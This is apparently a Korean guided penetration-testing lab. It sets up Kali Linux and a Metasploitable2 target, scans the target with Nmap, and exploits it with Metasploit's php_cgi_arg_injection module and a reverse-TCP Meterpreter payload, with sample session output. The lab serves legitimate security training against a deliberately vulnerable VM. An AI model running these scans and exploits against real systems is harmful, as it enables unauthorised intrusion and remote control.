Kali Linux 에서 Nmap 을 이용한 취약점 스캔 및 침투 테스트 수행

NmapBeginner
지금 연습하기

소개

이 랩에서는 Kali Linux 의 다양한 도구를 사용하여 대상 시스템에 대한 취약점 스캔 및 침투 테스트를 수행하는 방법을 배우게 됩니다. 목표는 인기 있는 취약점 스캔 도구를 실습하고, 발견된 내용을 활용하여 성공적인 침투 공격을 수행하는 방법을 이해하는 것입니다. 이 랩은 LabEx 플랫폼에서 진행되며, 공격 머신으로 Kali Linux 컨테이너가 제공되고, 대상 시스템으로 Metasploitable2 가상 머신이 제공됩니다.

이것은 가이드 실험입니다. 학습과 실습을 돕기 위한 단계별 지침을 제공합니다.각 단계를 완료하고 실무 경험을 쌓기 위해 지침을 주의 깊게 따르세요. 과거 데이터에 따르면, 이것은 초급 레벨의 실험이며 완료율은 100%입니다.학습자들로부터 100%의 긍정적인 리뷰율을 받았습니다.

환경 설정

이 단계에서는 LabEx 플랫폼에서 Kali Linux 컨테이너와 Metasploitable2 대상 머신을 시작합니다.

  1. LabEx 호스트 머신에서 xfce 터미널을 열고 다음 명령을 실행하여 Metasploitable2 대상을 시작합니다.
sudo virsh start Metasploitable2

대상 머신이 시작될 때까지 기다립니다. 1~3 분 정도 소요될 수 있습니다.

  1. 대상 머신에 대한 연결을 ping 하여 테스트합니다.
ping 192.168.122.102

Ctrl+C를 눌러 ping 을 중지합니다.

  1. 다음 명령을 실행하여 Kali Linux 컨테이너를 시작하고 bash 환경에 들어갑니다.
docker run -ti --network host b5b709a49cd5 bash
  1. Kali 컨테이너 내부에서 대상 머신에 대한 네트워크 연결을 테스트합니다.
ping 192.168.122.102

Ctrl+C를 눌러 ping 을 중지합니다.

Nmap 을 이용한 취약점 스캔 수행

이 단계에서는 Kali Linux 에서 사용할 수 있는 몇 가지 인기 있는 취약점 스캔 도구에 대해 배우게 됩니다.

  1. X-scan: X-scan 은 중국에서 잘 알려진 포괄적인 스캔 도구입니다. 완전 무료이며, 설치가 필요 없고, 중국어 및 영어로 그래픽 인터페이스와 명령줄 인터페이스를 모두 지원합니다. X-scan 은 유명한 중국 해커 그룹인 "Security Focus"에서 개발했으며, 2000 년 내부 테스트 버전 0.2 이후 지속적으로 개선되었습니다.

  2. Nessus: Nessus 는 세계에서 가장 널리 사용되는 취약점 스캔 및 분석 소프트웨어 중 하나입니다. 75,000 개 이상의 조직에서 Nessus 를 사용하여 컴퓨터 시스템을 스캔합니다. Nessus 는 1998 년 Renaud Deraison 에 의해 인터넷 커뮤니티에 무료, 강력하고, 자주 업데이트되며, 사용하기 쉬운 원격 시스템 보안 스캔 프로그램을 제공하기 위해 만들어졌습니다.

  3. SQLmap: SQLmap 은 주어진 URL 에서 SQL 주입 취약점을 스캔, 감지 및 악용할 수 있는 자동 SQL 주입 도구입니다. 현재 MS-SQL, MySQL, Oracle 및 PostgreSQL 데이터베이스를 지원합니다. SQLmap 은 blind inference, UNION 쿼리, stacked 쿼리 및 time-based blind injection 의 네 가지 고유한 SQL 주입 기술을 사용합니다.

  4. Nmap: Nmap 은 강력하고 다재다능한 네트워크 탐색 및 보안 감사 도구입니다. 네트워크 검색, 포트 스캔 및 취약점 감지 등 다양한 목적으로 사용할 수 있습니다.

이제 Nmap 을 사용하여 Metasploitable2 대상 머신에 대한 취약점 스캔을 수행합니다.

  1. Metasploit 데이터베이스 서비스를 시작하고 데이터베이스를 초기화합니다.
cd ~
service postgresql start
msfdb init
  1. Metasploit 콘솔을 시작합니다.
msfconsole
  1. Metasploit 콘솔 내에서 nmap 명령을 사용하여 대상 머신을 스캔합니다.
nmap -sS -T4 192.168.122.102

다음은 표시될 수 있는 출력의 예입니다.

[*] exec: nmap -sS -T4 192.168.122.102

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 23:15 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0032s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown
MAC Address: 52:54:00:1E:9E:B4 (QEMU virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds

-sS 매개변수는 TCP SYN 스캔 (half-open 또는 stealth scan 이라고도 함) 을 수행하고, -T4는 타이밍 정책을 공격적으로 설정하지만 과도한 네트워크 트래픽을 피하기 위해 너무 빠르지 않도록 설정합니다.

  1. 스캔의 출력을 관찰합니다. 대상 머신에서 열린 포트와 서비스가 표시됩니다.

Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.

취약점 공격 실행

이 단계에서는 Nmap 스캔에서 수집한 정보를 사용하여 Metasploitable2 대상 머신에서 취약점을 악용합니다.

  1. 먼저, Metasploit 콘솔에 있지 않은 경우 Metasploit 콘솔을 시작해야 합니다.
cd ~
msfconsole
  1. Nmap 스캔 결과에서 대상 머신의 열린 포트 (예: 포트 80) 를 식별합니다. Metasploit 콘솔에서 열린 포트와 관련된 익스플로잇 모듈을 검색합니다.
search http
  1. 적절한 익스플로잇 모듈을 사용합니다.
use exploit/multi/http/php_cgi_arg_injection
  1. 대상 머신의 IP 주소를 설정합니다.
set RHOST 192.168.122.102
  1. 사용할 페이로드 (payload) 를 설정합니다.
set PAYLOAD php/meterpreter/reverse_tcp
  1. 로컬 머신의 IP 주소를 설정합니다.
set LHOST 192.168.122.1
  1. 익스플로잇을 실행합니다.
exploit

다음은 표시될 수 있는 출력의 예입니다.

[*] Started reverse TCP handler on 192.168.122.1:4444
[*] Sending stage (39927 bytes) to 192.168.122.102
[*] Meterpreter session 1 opened (192.168.122.1:4444 -> 192.168.122.102:38510) at 2024-03-23 23:21:14 +0000
  1. 익스플로잇이 성공하면 대상 머신의 셸에 액세스할 수 있습니다. sysinfo와 같은 명령을 실행하여 시스템 정보를 표시하여 액세스를 확인합니다.

  2. 시간이 있다면 Nessus, SQLmap 또는 X-scan 과 같은 다른 취약점 스캔 도구를 탐색해 볼 수 있습니다. 또한 Metasploitable2 대상 머신에서 다른 취약점을 악용해 볼 수도 있습니다.

Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.

요약

이 랩에서는 침투 테스트를 위해 Kali Linux 환경을 설정하고 Nmap 과 같은 인기 있는 취약점 스캔 도구를 사용하여 대상 시스템의 잠재적인 취약점을 식별하는 방법을 배웠습니다. 또한 Metasploit Framework 를 사용하여 취약점을 악용하는 실습 경험을 얻었습니다. 이러한 실용적인 지식은 사이버 보안 분야에서 취약점 스캔 및 침투 테스트의 중요성을 이해하는 데 도움이 될 것입니다.